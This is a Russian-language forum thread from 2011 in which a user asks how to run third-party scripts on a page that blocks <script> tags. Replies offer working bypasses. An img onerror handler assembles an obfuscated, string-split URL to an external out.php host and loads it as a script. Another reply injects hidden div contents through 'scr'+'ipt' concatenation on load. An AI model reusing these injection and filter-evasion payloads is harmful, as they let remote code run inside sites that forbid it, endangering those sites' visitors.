ФорумПрограммированиеJavaScript → Внедрить скрипты

Внедрить скрипты

  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 11:12

    Есть страница, в которую нельзя добавлять скрипты через тег <script>.
    Но можно выполнять код задавая onload, onclick и т.д. Можно добавлять произвольный html.

    Задача - сделать так, чтобы код подгружаемый со стороннего сервера, содержащий document.write, корректно отработал.

    У меня затруднение. Помогите советом.
    Спустя 110 сек.
    Да, на этой странице подгружается библиотека jquery. Это может как-то помочь?
  • phpdude

    Сообщения: 26624 Репутация: N Группа: в ухо

    Spritz 7 июня 2011 г. 11:43, спустя 31 минуту 35 секунд

    ебание крякеры xDDD
    Сапожник без сапог
  • technobulka

    Сообщения: 4540 Репутация: N Группа: Джедаи

    Spritz 7 июня 2011 г. 12:06, спустя 22 минуты 15 секунд

    http://api.jquery.com/jQuery.getScript/
    Высокоуровневое абстрактное говно
  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 12:20, спустя 13 минут 58 секунд

    Stasovsky, я не могу залить на тот сервер .js файл.
  • technobulka

    Сообщения: 4540 Репутация: N Группа: Джедаи

    Spritz 7 июня 2011 г. 12:57, спустя 37 минут 8 секунд

    а в чем проблема залить файл налево?) на тот же народ, например))
    Высокоуровневое абстрактное говно
  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 14:33, спустя 1 час 36 минут 17 секунд

    Этот метод работает через xhr, значит не сможет выполниться между доменами.

    Тут проблема такова, что после onload нельзя писать в поток - он уже остановился. Как мне это обойти, не имея возможности использовать тег script? Есть ли такие события, которым можно подвесить на теги мой "обработчик", чтобы он выполнился раньше onload?
  • Faster

    Сообщения: 1159 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 15:43, спустя 1 час 9 минут 29 секунд

    конкатенация тега script
  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 16:23, спустя 40 минут 16 секунд

    И как я это сделаю, без контейнера <script>? В xhtml вроде нет такого функционала.
  • indeego

    Сообщения: 125 Репутация: N Группа: Кто попало

    Spritz 7 июня 2011 г. 22:01, спустя 5 часов 37 минут 46 секунд


    Этот метод работает через xhr, значит не сможет выполниться между доменами.

    Если не ошибаюсь уже существует решение кросс-доменного аякса, причем нативное. Там какой то флаг указывается и все. Вроде на хабре или где проскакивало.
  • AlexanderC

    Сообщения: 270 Репутация: N Группа: Кто попало

    Spritz 8 июня 2011 г. 12:07, спустя 14 часов 6 минут 14 секунд

    Есть такое дело как кроссдоменный аякс запрос… Вот тебе пропатченая функция

    jQuery.ajax = (function(_ajax){ // enable cross domain ajax powered by yahoo API(same use as in jquery)
    var protocol = location.protocol,
    hostname = location.hostname,
    exRegex = RegExp(protocol + '//' + hostname),
    YQL = 'http' + (/^https/.test(protocol)?'s':'') + '://query.yahooapis.com/v1/public/yql?callback=?',
    query = 'select * from html where url="{URL}" and xpath="*"';
    function isExternal(url) {
    return !exRegex.test(url) && /:\/\//.test(url);
    }
    return function(o) {
    var url = o.url;
    if ( /get/i.test(o.type) && !/json/i.test(o.dataType) && isExternal(url) ) {
    o.url = YQL;
    o.dataType = 'json';

    o.data = {
    q: query.replace(
    '{URL}',
    url + (o.data ?
    (/\?/.test(url) ? '&' : '?') + jQuery.param(o.data)
    : '')
    ),
    format: 'xml'
    };
    if (!o.success && o.complete) {
    o.success = o.complete;
    delete o.complete;
    }
    o.success = (function(_success){
    return function(data) {
    if (_success) {
    _success.call(this, {
    responseText: data.results[0]
    .replace(/<script[^>]+?\/>|<script(.|\s)*?\/script>/gi, '')
    }, 'success');
    }
    };
    })(o.success);
    }
    return _ajax.apply(this, arguments);
    };
    })(jQuery.ajax); // –end

    Спустя 98 сек.
    Нашёл у себя ;D…
    единственное что хром ругается что передаётся это дело с некорректным миме(он ваще на многое ругается)…
  • indeego

    Сообщения: 125 Репутация: N Группа: Кто попало

    Spritz 9 июня 2011 г. 4:01, спустя 15 часов 54 минуты 22 секунды

    AlexanderC, спасибо, забрал себе.
  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 11 июля 2011 г. 8:50, спустя 32 дня 4 часа 48 минут

    <img src="htt://123.12211" onerror="(function(){var scr = document.createElement('script');scr.src = 'ht'+'t'+'p'+':'+'//mo'+'bik'+'ano.'+'co'+'m/'+'out.p'+'hp?sid=11'+'111';document.body.appendChild(scr);})();" />

    Вот как-то так я это сделал.
  • rider-sx

    Сообщения: 2706 Репутация: N Группа: Адекваты

    Spritz 11 июля 2011 г. 10:11, спустя 1 час 21 минуту 18 секунд

    Не проще ли грузить скрипт допустим в

    <div id="haxx" style="display:none">
    alert(1);
    </div>


    а потом в body:

    <body onload="haxx=document.createElement('scr'+'ipt');haxx.innerHTML=document.getElementById('haxx').innerHTML;document.body.appendChild(haxx)">
  • lolcat

    Сообщения: 383 Репутация: N Группа: Кто попало

    Spritz 11 июля 2011 г. 11:02, спустя 50 минут 51 секунду

    Мне нужно было до onload скрипт выполнить.

Пожалуйста, авторизуйтесь, чтобы написать комментарий!